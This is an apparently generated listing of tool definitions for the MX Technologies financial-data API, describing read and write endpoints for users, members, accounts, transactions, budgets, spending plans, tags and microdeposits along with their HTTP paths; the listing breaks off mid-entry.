mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations_by_iteration_number (read) — Read a spending plan iteration. Use this endpoint to read the attributes of a specific spending plan `iteration` according to its `iteration_number`. via GET /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/{iteration_number} GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/{iteration_number}. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations_current (read) — Read current spending plan iteration. Use this endpoint to read the attributes of the current spending plan `iteration`. via GET /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations_current_iteration_items (read) — List spending plan iteration items. Use this endpoint to list all the spending plan `iteration_items` associated with the `iteration`. via GET /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations_current_iteration_items_by_iteration_item_guid (read) — Read a spending plan iteration item. Use this endpoint to read the attributes of a specific spending plan `iteration_item` according to its unique GUID. via GET /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items/{iteration_item_guid} GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items/{iteration_item_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid_spending_plan_accounts (read) — List spending plan accounts. Use this endpoint to list all the spending plan accounts associated with the spending plan. via GET /users/{user_guid}/spending_plans/{spending_plan_guid}/spending_plan_accounts GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/spending_plan_accounts. Scopes: api. mxtechnologies_get_users_by_user_guid_spending_plans_by_spending_plan_guid_spending_plan_accounts_by_spending_plan_account_guid (read) — Read spending plan account. Use this endpoint to read the attributes of a specific spending plan account according to its unique GUID. via GET /users/{user_guid}/spending_plans/{spending_plan_guid}/spending_plan_accounts/{spending_plan_account_guid} GET /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/spending_plan_accounts/{spending_plan_account_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_taggings (read) — List taggings. Use this endpoint to retrieve a list of all the taggings associated with a specific user. via GET /users/{user_guid}/taggings GET /api/v1/mxtechnologies/users/{user_guid}/taggings. Scopes: api. mxtechnologies_get_users_by_user_guid_taggings_by_tagging_guid (read) — Read tagging. Use this endpoint to read the attributes of a `tagging` according to its unique GUID. via GET /users/{user_guid}/taggings/{tagging_guid} GET /api/v1/mxtechnologies/users/{user_guid}/taggings/{tagging_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_tags (read) — List tags. Use this endpoint to list all tags associated with the specified `user`. Each user includes the `Business` tag by default. via GET /users/{user_guid}/tags GET /api/v1/mxtechnologies/users/{user_guid}/tags. Scopes: api. mxtechnologies_get_users_by_user_guid_tags_by_tag_guid (read) — Read tag. Use this endpoint to read the attributes of a particular tag according to its unique GUID. via GET /users/{user_guid}/tags/{tag_guid} GET /api/v1/mxtechnologies/users/{user_guid}/tags/{tag_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_transaction_rules (read) — List transaction rules. Use this endpoint to read the attributes of all existing transaction rules belonging to the user. via GET /users/{user_guid}/transaction_rules GET /api/v1/mxtechnologies/users/{user_guid}/transaction_rules. Scopes: api. mxtechnologies_get_users_by_user_guid_transaction_rules_by_transaction_rule_guid (read) — Read transaction rule. Use this endpoint to read the attributes of an existing transaction rule based on the rule’s unique GUID. via GET /users/{user_guid}/transaction_rules/{transaction_rule_guid} GET /api/v1/mxtechnologies/users/{user_guid}/transaction_rules/{transaction_rule_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_transactions_by_transaction_guid (read) — Read transaction. Requests to this endpoint will return the attributes of the specified `transaction`. To read a manual transaction, use the manual transaction guid in the path as the `transactionGuid`. <br /><br /> Enhanced transaction data may be requested using the `includes` parameter. To use this optional parameter, the value should include the optional metadata requested such as `repeating_transactions`, `merchants`, `classifications`, `geolocations`. For more information, see the Optional Enhancement Query Parameter guide. via GET /users/{user_guid}/transactions/{transaction_guid} GET /api/v1/mxtechnologies/users/{user_guid}/transactions/{transaction_guid}. Scopes: api. mxtechnologies_get_users_by_user_guid_transactions_by_transaction_guid_insights (read) — List insights by transaction. Use this endpoint to list all insights associated with a transaction GUID. via GET /users/{user_guid}/transactions/{transaction_guid}/insights GET /api/v1/mxtechnologies/users/{user_guid}/transactions/{transaction_guid}/insights. Scopes: api. mxtechnologies_get_users_by_user_identifier (read) — Read user. Use this endpoint to read the attributes of a specific user. via GET /users/{user_identifier} GET /api/v1/mxtechnologies/users/{user_identifier}. Scopes: api. mxtechnologies_get_users_by_user_identifier_accounts (read) — List accounts. This endpoint returns a list of all the accounts associated with the specified `user`. <Warning> This request will not return the full account number. It may return the last four digits of the account number if that information has been provided during aggregation. If you need the full account number, please refer to List account numbers by member or List account numbers by account. </Warning> via GET /users/{user_identifier}/accounts GET /api/v1/mxtechnologies/users/{user_identifier}/accounts. Scopes: api. mxtechnologies_get_users_by_user_identifier_accounts_by_account_identifier_account_numbers (read) — List account numbers by account. This endpoint returns a list of account numbers associated with the specified `account`. via GET /users/{user_identifier}/accounts/{account_identifier}/account_numbers GET /api/v1/mxtechnologies/users/{user_identifier}/accounts/{account_identifier}/account_numbers. Scopes: api. mxtechnologies_get_users_by_user_identifier_jobs_by_job_guid (read) — Read job. Use this endpoint to read the attributes of a specific job. > **Warning:** New implementations shouldn't use this endpoint. It is maintained for compatibility with our Nexus API only. via GET /users/{user_identifier}/jobs/{job_guid} GET /api/v1/mxtechnologies/users/{user_identifier}/jobs/{job_guid}. Scopes: api. mxtechnologies_get_users_by_user_identifier_members (read) — List members. This endpoint returns an array which contains information on every member associated with a specific user. via GET /users/{user_identifier}/members GET /api/v1/mxtechnologies/users/{user_identifier}/members. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier (read) — Read member. Use this endpoint to read the attributes of a specific member. via GET /users/{user_identifier}/members/{member_identifier} GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_account_owners (read) — List account owners by member. This endpoint returns an array with information about every account associated with a particular member. via GET /users/{user_identifier}/members/{member_identifier}/account_owners GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/account_owners. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_accounts (read) — List member accounts. This endpoint returns a list of all the accounts associated with the specified `member`. via GET /users/{user_identifier}/members/{member_identifier}/accounts GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_accounts_by_account_identifier (read) — Read member account. This endpoint allows you to read the attributes of an `account` resource. via GET /users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier} GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_accounts_by_account_identifier_transactions (read) — List transactions by account per member. Requests to this endpoint return a list of transactions associated with the specified account. <br /><br /> Enhanced transaction data may be requested using the `includes` parameter. To use this optional parameter, the value should include the optional metadata requested such as `repeating_transactions`, `merchants`, `classifications`, `geolocations`. For more information, see the Optional Enhancement Query Parameter guide. via GET /users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_accounts_by_account_identifier_transactions_by_transaction_identifier (read) — Read transaction by account. Requests to this endpoint will return the attributes of the specified `transaction`. To read a manual transaction, use the manual transaction guid in the path as the `transactionGuid`. <br /><br /> Enhanced transaction data may be requested using the `includes` parameter. To use this optional parameter, the value should include the optional metadata requested such as `repeating_transactions`, `merchants`, `classifications`, `geolocations`. For more information, see the Optional Enhancement Query Parameter guide. via GET /users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier} GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier}. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_challenges (read) — List member challenges. Use this endpoint for information on what multi-factor authentication challenges need to be answered in order to aggregate a member. If the aggregation is not challenged, i.e., the member does not have a connection status of `CHALLENGED`, then code `204 No Content` will be returned. If the aggregation has been challenged, i.e., the member does have a connection status of `CHALLENGED`, then code `200 OK` will be returned - along with the corresponding credentials. via GET /users/{user_identifier}/members/{member_identifier}/challenges GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/challenges. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_credentials (read) — List member credentials. This endpoint returns an array which contains information on every non-MFA credential associated with a specific member. via GET /users/{user_identifier}/members/{member_identifier}/credentials GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/credentials. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_oauth_window_uri (read) — Request oauth window uri. This endpoint will generate an `oauth_window_uri` for the specified `member`. via GET /users/{user_identifier}/members/{member_identifier}/oauth_window_uri GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/oauth_window_uri. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_status (read) — Read member status. This endpoint provides the status of the members most recent aggregation event. The results returned by this endpoint should determine what you do next in order to successfully aggregate a member. via GET /users/{user_identifier}/members/{member_identifier}/status GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/status. Scopes: api. mxtechnologies_get_users_by_user_identifier_members_by_member_identifier_transactions (read) — List transactions by member. Requests to this endpoint return a list of transactions associated with the specified `member`, across all accounts associated with that `member`. <br /><br />Enhanced transaction data may be requested using the `includes` parameter. To use this optional parameter, the value should include the optional metadata requested such as `repeating_transactions`, `merchants`, `classifications`, `geolocations`. For more information, see the Optional Enhancement Query Parameter guide. via GET /users/{user_identifier}/members/{member_identifier}/transactions GET /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/transactions. Scopes: api. mxtechnologies_get_users_by_user_identifier_monthly_cash_flow_profile (read) — Read monthly cash flow profile. via GET /users/{user_identifier}/monthly_cash_flow_profile GET /api/v1/mxtechnologies/users/{user_identifier}/monthly_cash_flow_profile. Scopes: api. mxtechnologies_get_users_by_user_identifier_tags_by_tag_guid_transactions (read) — List transactions by tag. Use this endpoint to get a list of all transactions associated with a particular tag according to the tag's unique GUID. This lists all transactions that have been assigned to a particular tag using the create tagging endpoint. <br /><br />Enhanced transaction data may be requested using the `includes` parameter. To use this optional parameter, the value should include the optional metadata requested such as `repeating_transactions`, `merchants`, `classifications`, `geolocations`. For more information, see the Optional Enhancement Query Parameter guide. via GET /users/{user_identifier}/tags/{tag_guid}/transactions GET /api/v1/mxtechnologies/users/{user_identifier}/tags/{tag_guid}/transactions. Scopes: api. mxtechnologies_get_users_by_user_identifier_transactions (read) — List transactions. Requests to this endpoint return a list of transactions associated with the specified `user`, across all members and accounts associated with that `user`. <br /><br />Enhanced transaction data may be requested using the `includes` parameter. To use this optional parameter, the value should include the optional metadata requested such as `repeating_transactions`, `merchants`, `classifications`, `geolocations`. For more information, see the Optional Enhancement Query Parameter guide. via GET /users/{user_identifier}/transactions GET /api/v1/mxtechnologies/users/{user_identifier}/transactions. Scopes: api. mxtechnologies_get_vc_users_by_user_guid_accounts_by_account_guid_transactions (read) — Get Transactions Data. Get an MX-issued verifiable credential of a user's transaction data. via GET /vc/users/{user_guid}/accounts/{account_guid}/transactions GET /api/v1/mxtechnologies/vc/users/{user_guid}/accounts/{account_guid}/transactions. Scopes: api. mxtechnologies_get_vc_users_by_user_guid_members_by_member_guid_accounts (read) — Get Accounts Data. Get an MX-issued verifiable credential of a user's accounts data. via GET /vc/users/{user_guid}/members/{member_guid}/accounts GET /api/v1/mxtechnologies/vc/users/{user_guid}/members/{member_guid}/accounts. Scopes: api. mxtechnologies_get_vc_users_by_user_guid_members_by_member_guid_customers (read) — Get Identity Data. Get an MX-issued verifiable credential of a user's identity data. via GET /vc/users/{user_guid}/members/{member_guid}/customers GET /api/v1/mxtechnologies/vc/users/{user_guid}/members/{member_guid}/customers. Scopes: api. mxtechnologies_post_account_check_balance (write) — Check Real Time Account Balance (Processors Only). Check the real-time account balance using your access token. Not callable with a client_id:api_key connection: this is a processor-token (Bearer) operation. via POST /account/check_balance POST /api/v1/mxtechnologies/account/check_balance. Scopes: api. mxtechnologies_post_ach_returns (write) — Create ACH Return. Use this endpoint to create an ACH return in our system. via POST /ach_returns POST /api/v1/mxtechnologies/ach_returns. Scopes: api. mxtechnologies_post_authorization_code (write) — Request an authorization code. Clients use this endpoint to request an authorization code according to the parameters specified in the scope. Clients then pass this code to processors. Processor access is scoped only to the GUIDs and features specified in this request. Before requesting an authorization code which includes a member in the scope, clients must have verified that member. via POST /authorization_code POST /api/v1/mxtechnologies/authorization_code. Scopes: api. mxtechnologies_post_transactions_enhance (write) — Enhance transactions. Use this endpoint to categorize, cleanse, and classify transactions. These transactions are not persisted or stored on the MX platform. <br /><br />For more information on returned data, please see the Enhanced Transactions fields guide. via POST /transactions/enhance POST /api/v1/mxtechnologies/transactions/enhance. Scopes: api. mxtechnologies_post_users (write) — Create user. Use this endpoint to create a new user. The API will respond with the newly-created user object if successful, containing a `guid` that you'll set as the `user_guid` in other requests when required. Disabling a user means that accounts and transactions associated with it will not be updated in the background by MX. It will also restrict access to that user’s data until they are no longer disabled. via POST /users POST /api/v1/mxtechnologies/users. Scopes: api. mxtechnologies_post_users_by_user_guid_accounts_by_account_guid_transactions (write) — Create manual transaction. This endpoint can only be used to create manual transactions that are under a manual account. This endpoint accepts the optional MX-Skip-Webhook header and `skip_webhook` parameter. via POST /users/{user_guid}/accounts/{account_guid}/transactions POST /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}/transactions. Scopes: api. mxtechnologies_post_users_by_user_guid_accounts_merge (write) — Merge accounts. Merge two or more financial accounts that an end user has identified as duplicates. Provide at least two account GUIDs belonging to the same user. <Warning> The response will return a single consolidated account. Any other accounts you provided that were not included in the response will be deleted. This is a destructive action and can't be undone. </Warning> via POST /users/{user_guid}/accounts/merge POST /api/v1/mxtechnologies/users/{user_guid}/accounts/merge. Scopes: api. mxtechnologies_post_users_by_user_guid_budgets (write) — Create a budget. This endpoint accepts the optional `MX-Skip-Webhook` header and `skip_webhook` parameter. You cannot create a duplicate budget. For example, if you attempt to create a budget for "Gas", but that budget already exist, the request will fail. You can retrieve a list of all existing categories by using the List Categories endpoint. via POST /users/{user_guid}/budgets POST /api/v1/mxtechnologies/users/{user_guid}/budgets. Scopes: api. mxtechnologies_post_users_by_user_guid_budgets_generate (write) — Auto-generate budgets. This endpoint will automatically create budgets for several categories based on existing transactions; these budgets are returned as an array. Specifically, budgets will only be generated if the `user` has at least one `transaction` in a given category during each of the two previous calendar months. For example, if the request is made on March 6, and there is at least one "Bills & Utilities" `transaction` in both January and February, a budget will be generated for "Bills & Utilities." If there are two "Bills & Utilities" transactions in February but none in January, no budget will be generated for that category. If budgets already exist for particular categories, new budgets will be generated and returned based on the available transactions. If one or more budgets remain unchanged, they will nevertheless be returned in the response. If no transaction data for the `user` meet the above criteria, a `422 Unprocessable Entity` error will be returned with status code 4221 along with the message, `There aren't enough transactions to automatically create any budgets`. via POST /users/{user_guid}/budgets/generate POST /api/v1/mxtechnologies/users/{user_guid}/budgets/generate. Scopes: api. mxtechnologies_post_users_by_user_guid_categories (write) — Create category. Use this endpoint to create a new custom category for a specific `user`. via POST /users/{user_guid}/categories POST /api/v1/mxtechnologies/users/{user_guid}/categories. Scopes: api. mxtechnologies_post_users_by_user_guid_goals (write) — Create a goal. This endpoint accepts the optional `MX-Skip-Webhook` header and `skip_webhook` parameter. via POST /users/{user_guid}/goals POST /api/v1/mxtechnologies/users/{user_guid}/goals. Scopes: api. mxtechnologies_post_users_by_user_guid_managed_members (write) — Deprecated by MX. Create managed member. Use this endpoint to create a new partner-managed `member`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via POST /users/{user_guid}/managed_members POST /api/v1/mxtechnologies/users/{user_guid}/managed_members. Scopes: api. mxtechnologies_post_users_by_user_guid_managed_members_by_member_guid_accounts (write) — Deprecated by MX. Create managed account. Use this endpoint to create a partner-managed account. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via POST /users/{user_guid}/managed_members/{member_guid}/accounts POST /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts. Scopes: api. mxtechnologies_post_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid_transactions (write) — Deprecated by MX. Create managed transaction. Use this endpoint to create a new partner-managed `transaction`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via POST /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions POST /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions. Scopes: api. mxtechnologies_post_users_by_user_guid_micro_deposits (write) — Create or pre-initiate a microdeposit. Use this endpoint to create or pre-initiate a microdeposit. The response will include the new microdeposit record with a status of `INITIATED` or `PREINITIATED` respectively. To pre-initiate a microdeposit, you only need to set `email` (string), `first_name` (string), and `last_name` (string) in the request body. Pre-initiating a microdeposit allows you to pass the end user's first name, last name, and email if this data has already been collected. If the end user selects an institution which requires the microdeposit flow, the pre-initiated `micro_deposit` will be used and the Connect Widget step that normally requests this info from the end user will be skipped. However, if the end user selects an institution which supports IAV, the pre-initiated `micro_deposit` will be deleted and IAV will be used instead. When requesting a Connect Widget URL after pre-initiating, make sure to set the `current_microdeposit_guid` to the resulting microdeposit's `guid` and set `data_request.products` to include `account_verification`. If you use this enhanced flow, a `micro_deposit` should be pre-initiated for all connect sessions in verification mode. After pre-initiating a microdeposit, pass the GUID to the config as `current_microdeposit_guid` and set `data_request.products` to include `account_verification` when requesting a Connect URL. Pre-initiating a microdeposit is optional. If you choose to implement this flow, it should be used for all Connect Widget sessions in verification mode. via POST /users/{user_guid}/micro_deposits POST /api/v1/mxtechnologies/users/{user_guid}/micro_deposits. Scopes: api. mxtechnologies_post_users_by_user_guid_notifications (write) — Create a notification. All notifications created through the API will be of notification type `API_NOTIFICATION`, channel `PUSH`, and will not be associated to an entity. No other channels are supported. This will only have an effect for clients using an MX mobile application. via POST /users/{user_guid}/notifications POST /api/v1/mxtechnologies/users/{user_guid}/notifications. Scopes: api. mxtechnologies_post_users_by_user_guid_spending_plans (write) — Create spending plan. This endpoint creates a new `spending_plan` for the user. via POST /users/{user_guid}/spending_plans POST /api/v1/mxtechnologies/users/{user_guid}/spending_plans. Scopes: api. mxtechnologies_post_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations_current_iteration_items (write) — Create spending plan iteration item. This endpoint creates a new `spending_plan_iteration_item`. via POST /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items POST /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items. Scopes: api. mxtechnologies_post_users_by_user_guid_taggings (write) — Create tagging. Use this endpoint to create a new association between a tag and a particular transaction, according to their unique GUIDs. via POST /users/{user_guid}/taggings POST /api/v1/mxtechnologies/users/{user_guid}/taggings. Scopes: api. mxtechnologies_post_users_by_user_guid_tags (write) — Create tag. Use this endpoint to create a new custom tag. via POST /users/{user_guid}/tags POST /api/v1/mxtechnologies/users/{user_guid}/tags. Scopes: api. mxtechnologies_post_users_by_user_guid_transaction_rules (write) — Create transaction rule. Use this endpoint to create a new transaction rule. The newly-created `transaction_rule` object will be returned if successful. For more information about transaction rules, see the Transaction Rules Guide. via POST /users/{user_guid}/transaction_rules POST /api/v1/mxtechnologies/users/{user_guid}/transaction_rules. Scopes: api. mxtechnologies_post_users_by_user_guid_transactions_by_transaction_guid_split (write) — Create split transactions. This endpoint creates two or more child transactions that are branched from a previous transaction. This endpoint allows you to link multiple categories, descriptions, and amounts to a parent transaction. When a split transaction is created, the parent transaction's `has_been_split` field will automatically be updated to true and the child transactions' `parent_guid` will have the transaction guid of the parent. The total amount of the child transactions must equal the amount of the parent transaction. Once a transaction has been split it can't be split again. In order to re-split a transaction, it must first be un-split. This can be done by calling the Delete Split Transactions endpoint. Calling this endpoint will delete the existing child transactions and update the parent transaction's `has_been_split` field to false. You can then re-split the parent transaction by calling Create Split Transaction again. via POST /users/{user_guid}/transactions/{transaction_guid}/split POST /api/v1/mxtechnologies/users/{user_guid}/transactions/{transaction_guid}/split. Scopes: api. mxtechnologies_post_users_by_user_identifier_accounts (write) — Create manual account. This endpoint can only be used to create manual accounts. Creating a manual account will automatically create it under the Manual Institution member. Since a manual account has no credentials tied to the member, the account will never aggregate or include data from a data feed. <Warning> You must use the user `guid` when setting `user_identifier` in the path. </Warning> via POST /users/{user_identifier}/accounts POST /api/v1/mxtechnologies/users/{user_identifier}/accounts. Scopes: api. mxtechnologies_post_users_by_user_identifier_members (write) — Create member. This endpoint allows you to create a new member using the required parameters `institution_code`, `credentials` (if creating a non-OAuth member), and `data_request.products`. When creating a non-OAuth member, include the correct type of credential required by the financial institution and provided by the user. You can find out which credential type is required with the `/institutions/{institution_code}/credentials` endpoint. Once you successfully create a member, MX will immediately validate the provided credentials and attempt to aggregate data. A status of 200 indicates the member was created successfully, and no aggregation was requested. A status of 201 indicates the member was created, but a product within `data_request` failed to aggregate. A status of 202 indicates the member was successfully created, and standard aggregation (no `data_request`) was requested (does not indicate success or failure). via POST /users/{user_identifier}/members POST /api/v1/mxtechnologies/users/{user_identifier}/members. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_aggregate_all (write) — Aggregate all members. This endpoint will kick off a new aggregation job for each member which belongs to the user. If you've set the `use_cases` field when creating the member, then the member's use case must be set to `PFM`, otherwise a 403 will return. The response will include important information about the members' aggregations including the `is_being_aggregated` and `connection_status` fields. Aggregations can take some time to finish; you can use the the read member or list members endpoints to track the status and completion of each individual aggregation as it progresses. via POST /users/{user_identifier}/members/aggregate_all POST /api/v1/mxtechnologies/users/{user_identifier}/members/aggregate_all. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_accounts_by_account_identifier_transactions_by_transaction_identifier_split (write) — Create split transactions by account. This endpoint creates two or more child transactions that are branched from a previous transaction. This endpoint allows you to link multiple categories, descriptions, and amounts to a parent transaction. When a split transaction is created, the parent transaction's `has_been_split` field will automatically be updated to true and the child transactions' `parent_guid` will have the transaction guid of the parent. The total amount of the child transactions must equal the amount of the parent transaction. Once a transaction has been split it can't be split again. In order to re-split a transaction, it must first be un-split. This can be done by calling the Delete Split Transactions endpoint. Calling this endpoint will delete the existing child transactions and update the parent transaction's `has_been_split` field to false. You can then re-split the parent transaction by calling Create Split Transaction again. via POST /users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier}/split POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier}/split. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_aggregate (write) — Aggregate member. Calling this endpoint initiates an aggregation event for the member. This brings in the latest account and transaction data from the connected institution. If this data has recently been updated, MX may not initiate an aggregation event. via POST /users/{user_identifier}/members/{member_identifier}/aggregate POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/aggregate. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_check_balance (write) — Check balances. This endpoint operates much like the aggregate member endpoint except that it gathers only account balance information; it does not gather any transaction data. via POST /users/{user_identifier}/members/{member_identifier}/check_balance POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/check_balance. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_extend_history (write) — Extend history. Some institutions allow developers to access an extended transaction history with up to 24 months of data associated with a particular member. The process for fetching and then reading this extended transaction history is much like standard aggregation, and it may trigger multi-factor authentication. via POST /users/{user_identifier}/members/{member_identifier}/extend_history POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/extend_history. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_fetch_rewards (write) — Fetch Rewards. Calling this endpoint initiates an aggregation-type event which will gather the member's rewards information, as well as account and transaction information. Rewards data is also gathered with daily background aggregations. Member and Rewards guids are defined by MX. via POST /users/{user_identifier}/members/{member_identifier}/fetch_rewards POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/fetch_rewards. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_fetch_statements (write) — Fetch statements. Use this endpoint to fetch the statements associated with a particular member. via POST /users/{user_identifier}/members/{member_identifier}/fetch_statements POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/fetch_statements. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_identify (write) — Identify member. The identify endpoint begins an identification process for an already-existing member. via POST /users/{user_identifier}/members/{member_identifier}/identify POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/identify. Scopes: api. mxtechnologies_post_users_by_user_identifier_members_by_member_identifier_verify (write) — Verify member. The verify endpoint begins a verification process for a member. via POST /users/{user_identifier}/members/{member_identifier}/verify POST /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/verify. Scopes: api. mxtechnologies_post_users_by_user_identifier_widget_urls (write) — Request widget URL. Get an embeddable URL for integrating a widget into your website or app. The URL expires after ten minutes or upon first use, whichever occurs first. You'll need to obtain a new URL each time the page loads or reloads. Include the `widget_type` in the request body to specify which widget you want to embed—the Connect Widget, a Personal Financial Management widget, or an Insights widget. Some request parameters are specific to certain widget types. To embed the Connect Widget, set `widget_type` to `connect_widget`. For a full list of available widget types, see Widget Types. via POST /users/{user_identifier}/widget_urls POST /api/v1/mxtechnologies/users/{user_identifier}/widget_urls. Scopes: api. mxtechnologies_put_micro_deposits_by_micro_deposit_guid_verify (write) — Verify a Microdeposit. Use this endpoint to verify the amounts deposited into the account during a microdeposit verification. The verification has not successfully completed until the `status` is `VERIFIED`. Poll the `/users/{user_guid}/micro_deposits/{micro_deposit_guid}` (read microdeposit) endpoint until you see this status or an error state. via PUT /users/{user_guid}/micro_deposits/{micro_deposit_guid}/verify PUT /api/v1/mxtechnologies/users/{user_guid}/micro_deposits/{micro_deposit_guid}/verify. Scopes: api. mxtechnologies_put_users_by_user_guid_accounts_by_account_guid_block (write) — Block an account. This endpoint is used to delete existing data and block new data from being stored on the specified account. This may be necessary to comply with certain rules, regulations, or standards. This endpoint also: - Immediately and permanently deletes most data from the account object. Certain information is retained that is necessary for MX to prevent the account from being re-added. - Prevents MX from creating or storing any additional data associated with the account, for example transactions, holdings, statements, and so on. - Immediately and permanently deletes all data associated with the account, for example transactions, holdings, statements, etc. This action is scoped to the member the account belongs to. This means that if the real world account is connected or reconnected via another member, the block will have no effect on that account. This action cannot be taken on accounts where `is_manual` is `true`. Objects deleted as a result of blocking an account will issue a webhook for that object with the action set to deleted. For example, account deleted, transaction deleted, and so on. There is no special webhook or action for blocking. via PUT /users/{user_guid}/accounts/{account_guid}/block PUT /api/v1/mxtechnologies/users/{user_guid}/accounts/{account_guid}/block. Scopes: api. mxtechnologies_put_users_by_user_guid_budgets_by_budget_guid (write) — Update a specific budget. via PUT /users/{user_guid}/budgets/{budget_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/budgets/{budget_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_categories_by_category_guid (write) — Update category. Use this endpoint to update the attributes of a custom category according to its unique GUID. via PUT /users/{user_guid}/categories/{category_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/categories/{category_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_goals_by_goal_guid (write) — Update a goal. This endpoint updates a specific goal. via PUT /users/{user_guid}/goals/{goal_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/goals/{goal_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_goals_reposition (write) — Reposition goals. This endpoint repositions goal priority levels. If one goal is set to a lower priority, then any other goals need to be adjusted accordingly. via PUT /users/{user_guid}/goals/reposition PUT /api/v1/mxtechnologies/users/{user_guid}/goals/reposition. Scopes: api. mxtechnologies_put_users_by_user_guid_insights_by_insight_guid (write) — Update insight. Use this endpoint to update the attributes of an insight according to its unique GUID. via PUT /users/{user_guid}/insights/{insight_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/insights/{insight_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_managed_members_by_member_guid (write) — Deprecated by MX. Update managed member. Use this endpoint to update the attributes of the specified partner_managed `member`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via PUT /users/{user_guid}/managed_members/{member_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid (write) — Deprecated by MX. Update managed account. Use this endpoint to update the attributes of a partner-managed account according to its unique GUID. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via PUT /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}. Scopes: 